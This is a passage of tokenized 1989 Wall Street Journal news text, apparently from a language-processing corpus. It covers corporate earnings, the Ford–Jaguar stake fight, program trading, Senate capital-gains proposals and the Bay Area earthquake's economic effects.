We have to make it attractive enough that -LCB- holders -RCB- would accept it , '' Sir John said . +That may be difficult , the Jaguar chairman acknowledged , `` when you have somebody else breathing down your neck . +'' Ford probably would try to kill the proposal by enlisting support from U.S. takeover-stock speculators and holding out the carrot of a larger bid later , said Stephen Reitman , European auto analyst at London brokers UBS Phillips & Drew . +Ford ca n't make a full-fledged bid for Jaguar until U.K. government restrictions expire . +The anti-takeover measure prevents any outside investor from buying more than 15 % of Jaguar shares without permission until Dec. 31 , 1990 . +But with its 10.4 % stake , Ford can convene a special Jaguar shareholders ' meeting and urge them to drop the restrictions prematurely . +`` It 's a very valuable weapon in their armory , '' which could enable Ford to bid sooner for Jaguar , observed Mr. Barber of James Capel . +Otherwise , Jaguar may have to tolerate the two U.S. auto giants each owning a 15 % stake for more than a year . +`` It would be difficult to see how a car company can be owned by a collective , '' Sir John said . +`` It has never been done before , but there 's always a first . +Although two Baby Bells showed strong growth in access lines , usage and unregulated business revenue , one reported a modest gain in third-quarter net while the other posted a small drop . +Ameritech Corp. 's earnings increased 2.8 % , after strong revenue gains were offset somewhat by refunds and rate reductions imposed by regulators in its Midwest territory . +BellSouth Corp. 's third-quarter earnings dropped 3.8 % as a result of debt refinancing , the recent acquisition of a cellular and paging property and rate reductions in its Southeast territory . +BellSouth +At BellSouth , based in Atlanta , customer access lines grew by 162,000 , or 3.5 % , during the 12-month period ended Sept . +For the third quarter , total operating revenue grew 2.6 % to $ 3.55 billion from $ 3.46 billion . +Total operating expenses increased 3.5 % to $ 2.78 billion from $ 2.69 billion . +Overall access minutes of use increased 10.3 % and toll messages jumped 5.2 % . +BellSouth Chairman and Chief Executive Officer John L. Clendenin said three factors accounted for the drop in third-quarter earnings . +The refinancing of $ 481 million in long-term debt reduced net income by $ 22 million , or five cents a share , but in the long run will save more than $ 250 million in interest costs . +The company previously said that the recent acquisition of Mobile Communications Corp. of America would dilute 1989 earnings by about 3 % . +In addition , earnings were reduced by rate reductions in Florida , Kentucky , Alabama , Tennessee and Louisiana . +Ameritech +At Ameritech , based in Chicago , customer access lines increased by 402,000 , or 2.6 % , and cellular mobile lines increased by 80,000 , or 62.3 % , for the 12-month period ended Sept. 30 . +For the third quarter , revenue increased 1.9 % to $ 2.55 billion from $ 2.51 billion . +Operating expenses increased 2.6 % to $ 2.04 billion , including one-time pretax charges of $ 40 million for labor contract signing bonuses . +Local service revenue increased 3.5 % and directory and unregulated business revenue jumped 9.5 % . +But network access revenue dropped 4 % and toll revenue dropped 1.4 % . +a - reflects 2-for-1 stock split effective Dec. 30 , 1988 . +b - reflects extraordinary loss of five cents a share for early debt retirement . +c - reflects extraordinary loss of five cents a share and extraordinary gain of 14 cents a share from cumulative effect of accounting change . +The Wall Street Journal `` American Way of Buying '' Survey consists of two separate , door-to-door nationwide polls conducted for the Journal by Peter D. Hart Research Associates and the Roper Organization . +The two surveys , which asked different questions , were conducted using national random probability samples . +The poll conducted by Peter D. Hart Research Associates interviewed 2,064 adults age 18 and older from June 15 to June 30 , 1989 . +The poll conducted by the Roper Organization interviewed 2,002 adults age 18 and older from July 7 to July 15 , 1989 . +Responses were weighted on the basis of age and gender to conform with U.S. Census data . +For each poll , the odds are 19 out of 20 that if pollsters had sought to survey every household in the U.S. using the same questionnaire , the findings would differ from these poll results by no more than 2 1\/2 percentage points in either direction . +The margin of error for subgroups -- for example , married women with children at home -- would be larger . +In addition , in any survey , there is always the chance that other factors such as question wording could introduce errors into the findings . +Program traders were buying and selling at full steam Monday , the first trading session after the stock market 's 190.58-point plunge Friday . +They accounted for a hefty 16 % of New York Stock Exchange volume Monday , the fourth busiest session ever . +On Friday , 13 % of volume was in computer-guided program trades . +In August , by contrast , program trading averaged 10.3 % of daily Big Board turnover . +Program traders were publicly castigated following the 508-point crash Oct. 19 , 1987 , and a number of brokerage firms pulled back from using this strategy for a while . +But as the outcry faded by the spring of 1988 , they resumed . +Some observers thought that after Friday 's sharp drop , the firms would rein in their program traders to avoid stoking more controversy . +But the statistics released yesterday show the firms did nothing of the sort . +One reason , they said , was that the official reports on the 1987 crash exonerated program trading as a cause . +Stock-index arbitrage is the most controversial form of program trading because it accelerates market moves , if not actually causing them . +In it , traders buy or sell stocks and offset those positions in stock-index futures contracts to profit from fleeting price discrepancies . +Under the exchange 's definitions , program trading also describes a number of other strategies that , in the opinion of some traders , do n't cause big swings in the market . +The Big Board 's disclosure of program trading activity on these two days was unusual . +Though it collects such data daily , its monthly reports on program trading usually come out about three weeks after each month ends . +The September figures are due to be released this week . +The Big Board declined to name the Wall Street firms involved in the activity Friday and Monday , or the type of strategies used . +But traders on the exchange floor , who can observe the computer-guided trading activity on monitor screens , said most of the top program-trading firms were active both days . +Through August , the top five program trading firms in volume were Morgan Stanley & Co. , Kidder , Peabody & Co. , Merrill Lynch & Co. , PaineWebber Group Inc. and Salomon Brothers Inc . +Though brokerage officials defended their use of program trading , one sign of what an issue it remains was that few executives would comment on the record . +Besides reciting the pardon for program trading contained in the Brady Commission report , they said stock-index arbitrage was actually needed Monday to restore the markets ' equilibrium . +On Friday , the stock-index futures market was unhinged from the stock market when the Chicago Mercantile Exchange halted trading in Standard & Poor 's 500 futures contract -- a `` circuit breaker '' procedure instituted after the 1987 crash and implemented for the first time . +Futures trading resumed a half-hour later , but the session ended shortly thereafter , leaving the stock market set up for more sell programs , traders said . +By Monday morning , they said , stock-index arbitrage sell programs helped re-establish the link between stocks and futures . +But stunning volatility was produced in the process . +The Dow Jones Industrial Average plunged a breathtaking 63.52 points in the first 40 minutes of trading Monday as stock-index arbitrage sell programs kicked in . +At about 10:10 a.m. EDT , the market abruptly turned upward on stock-index arbitrage buy programs . +By day 's end , the Dow industrials had rebounded 88.12 points , or nearly half of Friday 's drop . +FREDERICK 'S OF HOLLYWOOD Inc. , Los Angeles , said its board voted a 50 % increase in the specialty boutique-store operator 's semiannual dividend , to five cents a common share . +The dividend is payable Dec. 15 to stock of record Nov. 15 . +Valley National Corp. reported a third-quarter net loss of $ 72.2 million , or $ 3.65 a share , and suspended its quarterly dividend because of potential losses on its Arizona real estate holdings . +The Phoenix-based holding company for Arizona 's largest bank said it added $ 121 million to its allowance for losses on loans and for real estate owned . +The company earned $ 18.7 million , or 95 cents a share , a year earlier . +For the nine months , Valley National posted a net loss of $ 136.4 million , or $ 6.90 a share . +It had profit of $ 48.6 million , or $ 2.46 a share , in the 1988 period . +Valley National had been paying a quarterly dividend of 36 cents a share . +`` The Arizona real estate market continues to be depressed , and there is still uncertainty as to when values will recover , '' James P. Simmons , chairman , said . +The decision to increase the loan-loss reserve and suspend the dividend is `` both prudent and in the best long-term interest of the shareholders , '' he said . +Valley National said it made the decision on the basis of an `` overall assessment of the marketplace '' and the condition of its loan portfolio and after reviewing it with federal regulators . +The addition to reserves comes on top of a provision of $ 199.7 million that was announced in June . +In July , Moody 's downgraded $ 400 million of the company 's debt , saying the bank holding company had n't taken adequate write-offs against potential losses on real estate loans despite its second-quarter write-down . +Richard M. Greenwood , Valley National 's executive vice president , said then that the company believed the write-downs were `` adequate '' and did n't plan to increase its reserves again . +Bruce Hoyt , a banking analyst with Boettcher & Co. , a Denver brokerage firm , said Valley National `` is n't out of the woods yet . '' +The key will be whether Arizona real estate turns around or at least stabilizes , he said . +`` They 've stepped up to the plate to take the write-downs , but when markets head down , a company is always exposed to further negative surprises , '' Mr. Hoyt said . +Valley National closed yesterday at $ 24.25 a share , down $ 1 , in national over-the-counter trading . +Two years of coddling , down the drain . +That 's the way a lot of brokers feel today on the second anniversary of the 1987 stock-market crash . +Ever since that fearful Black Monday , they 've been tirelessly wooing wary individual investors -- trying to convince them that Oct. 19 , 1987 , was a fluke and that the stock market really is a safe place for average Americans to put their hard-earned dollars . +And until last Friday , it seemed those efforts were starting to pay off . +`` Some of those folks were coming back , '' says Leslie Quick Jr. , chairman , of discount brokers Quick & Reilly Group Inc . +`` We had heard from people who had n't been active '' for a long time . +Then came the frightening 190-point plunge in the Dow Jones Industrial Average and a new wave of stock-market volatility . +All of a sudden , it was back to square one . +`` It 's going to set things back for a period , because it reinforces the concern of volatility , '' says Jeffrey B. Lane , president of Shearson Lehman Hutton Inc . +`` I think it will shake confidence one more time , and a lot of this business is based on client confidence . '' +Brokers around the country say the reaction from individual investors this week has been almost eerie . +Customers and potential customers are suddenly complaining about the stock market in the exact way they did in post-crash 1987 . +`` The kinds of questions you had before have resurfaced , '' says Raymond A. `` Chip '' Mason , chairman of regional brokerage firm Legg Mason Inc. , Baltimore . +`` I can just tell the questions are right back where they were : ` What 's going on ? , ' ` Ca n't anything be done about program trading ? , ' ` Does n't the exchange understand ? , ' ` Where is the SEC on this ? ' '' +Mr. Mason says he 's convinced the public still wants to invest in common stocks , even though they believe the deck is stacked against them . +But `` these wide swings scare them to death . '' +All of this is bad news for the big brokerage firms such as Shearson and Merrill Lynch & Co. that have big `` retail , '' or individual-investor , businesses . +After expanding rapidly during the bull-market years up to the 1987 crash , retail brokerage operations these days are getting barely enough business to pay the overhead . +True , the amount of money investors are willing to entrust to their brokers has been growing lately . +But those dollars have been going into such `` safe '' products as money market funds , which do n't generate much in the way of commissions for the brokerage firms . +At discount brokerage Charles Schwab & Co. , such `` cash-equivalent '' investments recently accounted for a record $ 8 billion of the firm 's $ 25 billion of client 's assets . +The brokers ' hope has been that they could soon coax investors into shifting some of their hoard into the stock market . +And before last Friday , they were actually making modest progress . +A slightly higher percentage of New York Stock Exchange volume has been attributed to retail investors in recent months compared with post-crash 1988 , according to Securities Industry Association data . +In 1987 , an average 19.7 % of Big Board volume was retail business , with the monthly level never more than 21.4 % . +The retail participation dropped to an average 18.2 % in 1988 , and shriveled to barely 14 % some months during the year . +Yet in 1989 , retail participation has been more than 20 % in every month , and was 23.5 % in August , the latest month for which figures are available . +Jeffrey Schaefer , the SIA 's research director , says that all of his group 's retail-volume statistics could be overstated by as much as five percentage points because corporate buy-backs are sometimes inadvertently included in Big Board data . +But there did seem to be a retail activity pickup . +But `` Friday did n't help things , '' says Mr. Schaefer . +With the gyrations of recent days , says Hugo Quackenbush , senior vice president at Charles Schwab , many small investors are absolutely convinced that `` they should n't play in the stock market . '' +Joseph Grano , president of retail sales and marketing at PaineWebber Group Inc. , still thinks that individual investors will eventually go back into the stock market . +Investors will develop `` thicker skins , '' and their confidence will return , he says . +Friday 's plunge , he is telling PaineWebber brokers , was nothing more than a `` tremendous reaction to leveraged buy-out stocks . '' +Meanwhile , PaineWebber remains among the leaders in efforts to simply persuade investors to keep giving Wall Street their money . +`` It 's more of an important issue to keep control of those assets , rather than push the investor to move into -LRB- specific -RRB- products such as equities , '' Mr. Grano says . +`` The equity decision will come when the client is ready and when there 's a semblance of confidence . '' +It could be a long wait , say some industry observers . +`` Some investors will tiptoe back in , '' says Richard Ross , a market research director for Elrick & Lavidge in Chicago . +`` Then there 'll be another swing . +Given enough of these , this will drive everyone out except the most hardy , '' he adds . +Mr. Ross , who has been studying retail investors ' perception of risks in the brokerage industry , said a market plunge like Friday 's `` shatters investors ' confidence in their ability to make any judgments on the market . '' +The long-term outlook for the retail brokerage business is `` miserable , '' Mr. Ross declares . +The following were among yesterday 's offerings and pricings in the U.S. and non-U.S. capital markets , with terms and syndicate manager , as compiled by Dow Jones Capital Markets Report : +Washington , D.C. -- +$ 200 million of general obligation tax revenue anticipation notes , Series 1990 , due Sept. 28 , 1990 . +About $ 190 million were offered through Shearson Lehman Hutton Inc . +Shearson is offering the notes as 6 3\/4 % securities priced to yield 6.15 % . +J.P. Morgan Securities Inc. is offering the remaining $ 10 million of notes . +The notes are rated MIG-1 by Moody 's Investors Service Inc . +Standard & Poor 's Corp. has them under review . +Federal National Mortgage Association -- +$ 400 million of Remic mortgage securities being offered in 16 classes by Bear , Stearns & Co . +The offering , Series 1989-83 , is backed by Fannie Mae 9 % securities . +The offering used at-market pricing . +Separately , Fannie Mae issued $ 400 million of Remic mortgage securities in 12 classes through First Boston Corp . +The offering , Series 1989-84 , is backed by Fannie Mae 9 % securities . +Pricing details were n't available . +The two offerings bring Fannie Mae 's 1989 Remic issuance to $ 31 billion and its total volume to $ 43.3 billion since the program began in April 1987 . +Societa per Azioni Finanziaria Industria Manaifatturiera -LRB- Italy -RRB- -- +$ 150 million of 9 % depository receipts due Nov. 27 , 1994 , priced at 101.60 to yield 9.07 % less fees , via Bankers Trust International Ltd . +Fees 1 7\/8 . +Mitsubishi Corp . Finance -LRB- Japanese parent -RRB- -- +$ 100 million of 8 5\/8 % bonds due Nov. 1 , 1993 priced at 101 1\/4 to yield 8.74 % annually less full fees , via Yamaichi International -LRB- Europe -RRB- Ltd . +Fees 1 5\/8 . +Indian Oil Corp . -LRB- India -RRB- -- +$ 200 million of floating-rate notes due November 1994 , paying six-month London interbank offered rate plus 3\/16 point and priced at par via Credit Suisse First Boston Ltd . +Guaranteed by India . +Fees 0.36 . +Notes offered at a fixed level of 99.75 . +National Westminster Bank PLC -LRB- U.K. -RRB- -- +# 200 million of undated variable-rate notes priced at par via Merill Lynch International Ltd . +Initial interest rate set at 0.375 point over three-month Libor . +Subsequent margins set by agreement between NatWest and Merrill . +If no margin agreed , there is a fallback rate of Libor plus 0.75 point in years one to 15 , and Libor plus 1.25 point thereafter . +Keihin Electric Express Railway Co . -LRB- Japan -RRB- -- +$ 150 million of bonds due Nov. 9 , 1993 , with equity-purchase warrants , indicating a 4 % coupon at par via Yamaichi International -LRB- Europe -RRB- Ltd . +Each $ 5,000 bond carries one warrant , exercisable from Dec. 1 , 1989 , through Nov. 2 , 1993 , to buy company shares at an expected premium of 2 1\/2 % to the closing share price when terms are fixed Oct. 24 . +Seiren Co . -LRB- Japan -RRB- -- +110 million Swiss francs of privately placed convertible notes due March 31 , 1994 , with an indicated 0.25 % coupon at par , via Bank Leu Ltd . +Put option on March 31 , 1992 , at an indicated 109 to yield 3.865 % . +Callable on March 31 , 1992 , at 109 , also beginning Sept. 30 , 1992 , from 101 1\/2 and declining half a point semiannually to par . +Each 50,000 Swiss franc note is convertible from Nov. 20 , 1989 , to March 17 , 1994 , at an indicated 5 % premium over the closing share price Oct. 25 , when terms are scheduled to be fixed . +N. Nomura & Co . -LRB- Japan -RRB- -- +50 million Swiss francs of privately placed convertible notes due March 31 , 1994 , with an indicated 0.5 % coupon at par , via Bank Julius Baer . +Put option on March 31 , 1992 , at an indicated 108 1\/4 to yield 3.846 % . +Each 50,000 Swiss franc note is convertible from Nov. 20 , 1989 , to March 17 , 1994 , at a 5 % premium over the closing share price Oct. 21 , when terms are scheduled to be fixed . +Aegon N.V . -LRB- Netherlands -RRB- -- +250 million Dutch guilders of 7 3\/4 % bonds due Nov. 15 , 1999 , priced at 101 1\/4 to yield 7.57 % at issue price and 7.86 % less full fees , via AMRO Bank . +Fees 2 . +Continental Airlines -- +a four-part , $ 71 million issue of secured equipment certificates priced through Drexel Burnham Lambert Inc . +The size of the issue was decreased from an originally planned $ 95.2 million . +In addition , a planned two-part offering of $ 58 million in unsecured notes was n't offered . +The first part , consisting of $ 2.5 million of 11 1\/4 % secured equipment certificates due June 15 , 1990 , was priced at 98.481 with a yield to maturity of 13.75 % . +The second part , consisting of $ 28 million of 11 3\/4 % secured equipment certificates due June 15 , 1995 , was priced at 87.026 with a yield to maturity of 15.25 % . +The third part , consisting of $ 18.5 million of 12 1\/8 % secured equipment certificates due April 15 , 1996 , was priced at 85.60 with a yield to maturity of 15.75 % . +The fourth part , consisting of $ 22 million of 12 1\/2 % secured equipment certificates due April 15 , 1999 , was priced at 85.339 with a yield to maturity of 15.50 % . +The issue was rated single-B-2 by Moody 's and single-B by S&P . +All parts of the issue are callable at any time at par . +Continental Airlines is a unit of Texas Air Corp . +John V. Holmes , an investment-newsletter publisher , and three venture-capital firms he organized were enjoined from violating the registration provisions of the securities laws governing investment companies . +As part of an agreement that settled charges brought by the Securities and Exchange Commission , a receiver was also appointed for the three venture-capital firms . +Mr. Holmes was the subject of a page one profile in The Wall Street Journal in 1984 , after the SEC questioned him about ties between him and companies he touted in a newsletter . +In 1986 , in another consent agreement with the SEC , Mr. Holmes was enjoined from violating the stock-registration and anti-fraud provisions of the securities laws . +Without any admission or denial of guilt by Mr. Holmes , that agreement settled SEC charges that Mr. Holmes sold unregistered securities and misled investors . +In charges filed last week in federal district court in Charlotte , N.C. , the SEC alleged that Venture Capitalists Inc. , Venture Finance Corp. and New Ventures Fund Inc. , all of Charlotte , failed repeatedly to file proper documents . +The SEC also charged that Mr. Holmes acted as an officer or director of New Ventures , in violation of his previous consent agreement . +`` Some companies were delinquent in filings and other actions , all of which cost money , '' Mr. Holmes said . +Two of Mr. Holmes 's business associates who worked for Venture Capitalists , Kimberly Ann Smith and Frederick Byrum , also consented to being enjoined from violations of registration provisions of the securities laws . +Ms. Smith also agreed to a permanent injunction barring her from acting as an officer , director or investment adviser of any mutual fund , unit investment trust or face-amount certificate company . +Mr. Byrum and Ms. Smith could n't be reached for comment . +In consenting to the injunctions , none of the individuals or companies admitted or denied the allegations . +Senate Republicans have settled on a proposal that would cut the capital-gains tax for individuals and corporations . +At the same time , a small group of Senate Democrats are working on a similar plan and may introduce it soon . +Sen. Bob Packwood -LRB- R. , Ore. -RRB- , the lead sponsor of the GOP proposal , said he intends to unveil the plan today and to offer it as an amendment to whatever legislation comes along , particularly this month 's bill to raise the federal borrowing limit . +He gave 10-to-1 odds that a capital-gains tax cut of some sort would be approved this year , though it probably wo n't be included in the pending deficit-reduction bill . +He added that he expects to talk to the Democrats who also wanted to cut the gains tax about drafting a joint proposal . +For individuals , the Packwood plan would exclude from income 5 % of the gain from the sale of a capital asset held for more than one year . +The exclusion would rise five percentage points for each year the asset was held until it reached a maximum of 35 % . +The exclusion would apply to assets sold after Oct. 1 , 1989 . +As an alternative , he said , taxpayers could chose to reduce their gains by an inflation index . +For corporations , the top tax rate on the sale of assets held for more than three years would be cut to 33 % from the current top rate of 34 % . +That rate would gradually decline to as little as 29 % for corporate assets held for 15 years . +The Packwood plan would also include a proposal , designed by Sen. William Roth -LRB- R. , Del. -RRB- , that would expand and alter the deduction for individual retirement accounts . +The Roth plan would create a new , non-deductible IRA from which money could be withdrawn tax-free not only for retirement , but also for the purchase of a first home and to pay education and medical expenses . +Current IRAs could be rolled over into the new IRAs but would be subject to tax . +For their part , the group of Democrats are working on a plan that , like the Packwood proposal , would grant larger exclusions to assets the longer they were held by individuals and companies . +Newly acquired assets would get a bigger break than those currently held . +An extra exclusion would be given to long-held stock in small and medium-size corporations just starting up . +No one in the Senate is considering the capital-gains plan passed by the House . +That plan would provide a 30 % exclusion to assets sold over a 2 1\/2-year period ending Dec. 31 , 1991 . +After then , the House measure would boost the tax rate to 28 % and exclude from tax the gain attributable to inflation . +Senators are focusing on making a capital-gains differential permanent . +Separately , Chairman Dan Rostenkowski -LRB- D. , Ill . -RRB- of the House Ways and Means Committee said he did n't want the capital-gains tax cut or any other amendments attached to the pending bill raising the federal borrowing limit . +The current debt limit expires Oct. 31 . +He also urged House and Senate negotiators to rid the deficit-reduction bill of all provisions that increase the budget deficit , including the House-passed capital-gains provision . +From a helicopter a thousand feet above Oakland after the second-deadliest earthquake in U.S. history , a scene of devastation emerges : a freeway crumbled into a concrete sandwich , hoses pumping water into once-fashionable apartments , abandoned autos . +But this quake was n't the big one , the replay of 1906 that has been feared for so many years . +Despite the tragic loss of more than 270 lives , and damage estimated in the billions , most businesses and their plants and offices in the Bay area were n't greatly affected . +The economic life of the region is expected to revive in a day or two , although some transportation problems may last weeks or months . +A main factor mitigating more widespread damage was the location of the quake 's epicenter -- 20 miles from the heart of the Silicon Valley and more than 50 miles from downtown San Francisco and Oakland . +Also , the region 's insistence on strict building codes helped prevent wider damage . +The tremendous energy of the quake was dissipated by the distance , so that most parts of the valley and the major cities suffered largely cosmetic damage -- broken windows , falling brick and cornices , buckled asphalt or sidewalks . +Of course , the quake was the worst since the emergence of the computer era turned Silicon Valley into the nation 's capital of high technology . +Like other major American cities , the San Francisco -- Oakland area owes its current prosperity more to its infrastructure of fiber-optic cables linking thousands of computer terminals and telephones than to its location astride one of the world 's great natural harbors . +When the tremors struck , the region 's largely unseen high-tech fabric held up surprisingly well despite the devastation visible from the air . +Michael L. Bandler , vice president for network technology at Pacific Bell Telephone Co. , says nearly all the network 's computer switches , which move thousands of calls a minute from one location to another , changed to battery power when the city lost power . +The battery packs have enough power for only three hours , but that gave emergency crews time to turn on an emergency system that runs primarily on diesel fuel . +Of some 160 switches in Pacific Bell 's network , only four went down . +One of those was in Hollister , Calif. , near the earthquake 's epicenter . +Few telephone lines snapped . +That 's because the widely used fiber-optic cable has been installed underground with 25 extra feet of cable between junction points . +The slack absorbs the pulling strain generated by an earthquake . +Nevertheless , phone service was sporadic ; many computer terminals remained dark , and by late yesterday a third of San Francisco remained without power . +Business in the nation 's fourth-largest metropolitan region was nearly paralyzed ; an estimated one million members of the work force stayed at home . +The economic dislocation was as abrupt as the earthquake itself , as virtually all businesses shut down . +The $ 125-billion-a-year Bay area economy represents one-fourth of the economy of the nation 's most populous state and accounts for 2 % to 3 % of the nation 's total output of goods and services , according to the Center for Continuing Study of the California Economy in Palo Alto . +In high-tech , the Bay area accounts for 15 % to 20 % of the U.S. computer-related industry . +`` This has been a major disruption for the Bay area economy , '' says Pauline Sweezey , the chief economist at the California Department of Finance . +`` Obviously , things are going to have to go on hold for many companies . '' +The damage to the Bay area 's roadways could cause significant economic hardship . +A quarter of a million people cross the Bay Bridge every day , far more than the 100,000 that use the Bay Area Rapid Transit system -LRB- BART -RRB- -- which was working but was n't stopping in the city 's Financial District yesterday afternoon because electricity was shut off and the area was being checked for gas leaks . +California state transportation officials interviewed by telephone say they nevertheless do n't expect serious problems for commerce in and out of the Bay area . +All major roadways except Interstate 880 , known as the Nimitz Freeway , and the Bay Bridge were open by 1 p.m. yesterday . +Officials expect difficulty routing traffic through downtown San Francisco . +The earthquake caused many streets to buckle and crack , making them impassible . +Other roads were obstructed by collapsed buildings and damaged water and power lines , an emergency relief spokesman says . +San Francisco Mayor Art Agnos estimated the damage to his city alone at $ 2 billion . +But many predicted that the commercial disruption would be short-lived . +Of the scores of companies contacted by this newspaper , few reported any damage that they did n't expect to have remedied within a day or two . +It is possible , of course , that some of the most seriously damaged companies could n't be reached , particularly in areas nearest the epicenter . +Typical , perhaps , was the situation at New United Motor Manufacturing Inc. , the General Motors Corp.-Toyota joint-venture auto plant in Fremont , about 35 miles south of Oakland . +Ten of the plant 's workers were injured when the quake hit about a half-hour into the afternoon shift ; seven were hospitalized . +Metal racks on the plant floor fell over , and water mains ruptured , a spokeswoman says . +The plant was evacuated and workers sent home . +But the plant was able to resume limited production of its Toyota Corollas and Geo Prizms by 6 a.m. yesterday , and absenteeism was only 7 % of the work force , about twice normal . +Computer maker Hewlett-Packard Co. , based in Palo Alto , says one of its buildings sustained severe damage when it was knocked off its foundation . +Other buildings had broken glass , dangling light fixtures and broken pipes , a spokesperson says , estimating the cost of reconstruction `` in the millions . '' +Most banks were closed but were expected to reopen today with few problems anticipated . +At the Federal Reserve Bank of San Francisco , Vice President Robert Fienberg says operations were `` steaming along as usual '' yesterday afternoon . +` When the quake hit , we turned on our emergency generator and brought our computers up , '' he says . +The Fed serves as a middleman for banks , taking checks from one bank and sending them to another , an operation that it handled smoothly Tuesday night after the quake . +`` The volume we received from the banks was a lot lower than usual , '' he says . +A disaster-contingency plan in which the Los Angeles Fed would come to San Francisco 's aid was n't needed , he adds . +Most of the telephone problems in the immediate aftermath stemmed from congestion . +The telephone network simply could n't handle the large number of people seeking to make a call at the same time . +The volume resulted in dial-tone delays that were as short as 15 seconds and as long as five minutes . +Mr. Bandler puts traffic volume at 10 to 50 times normal . +American Telephone & Telegraph Co. , MCI Communications Inc. and United Telecommunications ' U S Sprint unit were blocking phone calls into the Bay area to alleviate congestion . +The companies block traffic much as highway on-ramps are blocked when traffic backs up . +William E. Downing , Pacific Bell 's vice president of customer services for the Bay area , says most long-distance companies were blocking about 50 % of all calls . +Pacific Telesis says its Pacific Bell unit also was blocking about 50 % of its calls locally . +Ironically , the long-term effect of the earthquake may be to bolster the Bay area 's economic fortunes and , indeed , the nation 's gross national product . +It may also lead to new safeguards in major construction projects such as double-deck highways . +`` It would in the near-term give a boost to the San Francisco economy because there will be an influx of people to help , '' says Beth Burnham Mace , a regional economist at DRI\/McGraw Hill , a Lexington , Mass. , forecasting firm . +The construction industry is sure to feel increased demand . +`` There will be a big influx of federal dollars and gains in state , federal and local employment , '' Ms. Mace says . +Adds Stacy Kotman , an economist at Georgia State University , `` There 's nothing positive about an earthquake , but it will probably generate more construction activity . '' +Wall Street reacted swiftly yesterday to the disaster by bidding up stocks of construction and related companies . +Shares of Lone Star Industries Inc. , a cement maker , rose sharply in anticipation of stepped-up demand . +In Greenwich , Conn. , Lone Star spokesman Michael London says , `` Obviously with an earthquake of this size , there are likely to be construction projects that would n't otherwise have been anticipated . +But any increase is n't likely to be any kind of a surge . +It 's something likely to be spread out over a long period of time . +There will be a lot of repair work that wo n't require the quantities of cement or concrete that new constructon would . '' +Lone Star 's San Francisco facilities were n't damaged in the quake . +The earthquake is likely to reduce GNP negligibly in the near term and then could raise it a bit as rebuilding begins . +The first effects are , of course , negative as work is disrupted and people lose income and cut spending . +Corporate profits may also dip initially . +Many of the lost tourism dollars wo n't be recovered ; many trips delayed never take place . +Subsequently , however , the ill effects are likely to be offset , at least in economic terms , as construction activity begins . +Because of the way the government keeps its books , the damage to the Bay Bridge , however costly , wo n't be counted as a minus . +The money spent on repairs will be counted as a plus . +`` It 's very difficult to model the long-term impact of this , '' says Andrew Goldberg , who studies the public-policy and crisis-management aspects of earthquakes at the Center for Strategic International Studies in Washington , D.C . +`` You certainly can say it 's going to be extremely severe . +We really are talking about shutting down a major American city for a number of days , maybe for a few weeks . '' +Mr. Goldberg says the cost of the earthquake will definitely top $ 1 billion and could reach $ 4 billion . +He cautions that early damage estimates are often low ; the damage totals in Hurricane Hugo increased tenfold as more information was received . +The earthquake damage , of course , would have been far greater if the epicenter had been in downtown San Francisco . +A direct hit on a major city , Mr. Goldberg figures , would cause $ 20 billion to $ 40 billion of damage . +Experts caution that it is far too soon for reliable estimates of the quake 's total damage , but it 's clear that insurers are likely to pay out enormous sums . +Jack Byrne , the chairman of Fireman 's Fund Corp. , which is based in Novato , Calif. , estimates insured losses resulting the earthquake could total $ 2 billion . +The impact on the insurance industry `` will be big and harsh , but less than -LCB- Hurricane -RCB- Hugo , '' says Mr. Byrne , who toured the Bay area by car yesterday afternoon to get a sense of the company 's exposure to the earthquake . +Mr. Byrne says Fireman 's Fund will probably pay hundreds of millions in primary claims , but , after taxes and use of its reinsurance lines , the company 's fourthquarter charge against earnings should n't top $ 50 million . +The company was able to assess its damage liability quickly because it has computerized maps of Northern California showing the exact locations of all the property it insures . +Fireman 's Fund had claims adjusters on the streets of San Francisco right after sunrise yesterday and was paying as many claims as it could right on the spot . +Fireman 's Fund insures 37,300 homes and autos and 35,000 businesses in the Bay area . +In addition to paying for earthquake and fire damage , the insurer must cover worker-compensation claims and also losses due to businesses being shut down by lack of power or phone service . +But many Californians may not have adequate insurance coverage to pay for damages to their property . +The Independent Insurance Agents of America says fewer than one of every five California homeowners has earthquake insurance . +A somewhat higher percentage of people living in the Bay area have bought the additional insurance protection , but the great majority are n't covered . +Earthquake insurance typically runs $ 200 or more a year for a small house . +Whatever the long-term economic effect , the scene from the helicopter above Oakland is one of tragedy . +Gargantuan sections of a double-decker freeway have been heaved about like plastic building blocks . +Atop them sit cars and trucks abandoned in a terrifying scramble to safety the day before . +In areas where the freeway made giant concrete sandwiches of itself lie cars that police say have been flattened into foot-thick slabs . +On the periphery , rescue workers seem , from the air , to move in slow motion . +They peck away at the 1 1\/2-mile section of rubble , searching for more of the 250 people thought to have died here . +About 20 other deaths were also attributed to the earthquake . +The heart of the earthquake , 6.9 on the Richter scale , was 50 miles to the south , near Santa Cruz , but its terrible fist struck here on the Nimitz Freeway , a major artery serving the Bay Bridge between Oakland and San Francisco . +Along the way , the quake toppled a mall in Santa Cruz , knocked down buildings in San Francisco 's fashionable Marina District and sent a wall of bricks crashing on motorists in the city 's Financial District . +Just a short span across the bay to the west , the quake also showed its mettle : A four-square-block area of the Marina District lies smoldering under a steady stream of seawater being pumped onto rubble to prevent it from blazing anew . +Many of the buildings , mostly condominiums and apartments , were flattened almost instantly as the underlying soil -- much of it landfill -- was literally turned to ooze by the quake 's intensive shaking , rupturing gas lines . +Onlookers say three persons died when one of the buildings exploded into a fireball shortly after the quake struck . +Efforts to fight the blaze were hampered because water mains were severed as well . +From the air , ribbons of yellow fire hose carry water from the bay to high-pressure nozzles trained on the site . +As onlookers stand behind barricades , helmeted firemen and building inspectors survey rows of nearby buildings that were twisted from their foundations and seem on the verge of collapse . +In the Marina District , residents spent yesterday assessing damage , cleaning up and trying to find friends and neighbors . +Evelyn Boccone , 85 years old , has lived in the district most of her life . +Her parents lost everything in the 1906 earthquake . +`` Now , we realize what our mothers must have gone through , '' she says . +`` We always heard about the earthquake , but as children we did n't always listen . +PRINCE HENRI is the crown prince and hereditary grand duke of Luxembourg . +An article in the World Business Report of Sept. 22 editions incorrectly referred to his father , Grand Duke Jean , as the crown prince . +Resolution Funding Corp. plans to sell $ 4.5 billion of 30-year bonds Wednesday in the agency 's first sale of securities . +The new bonds will be dated Oct. 30 and mature Oct. 15 , 2019 . +Tenders for the bonds , available in minimum denominations of $ 1,000 , must be received by 1 p.m. EDT Wednesday at Federal Reserve banks . +Refcorp , created by the thrift-overhaul law enacted in August , will use the proceeds to merge or sell off ailing savings-and-loan institutions . +Congress authorized $ 50 billion to be borrowed to pay for the thrift bailout . +Of that amount , $ 20 billion has already been borrowed by the Treasury Department . 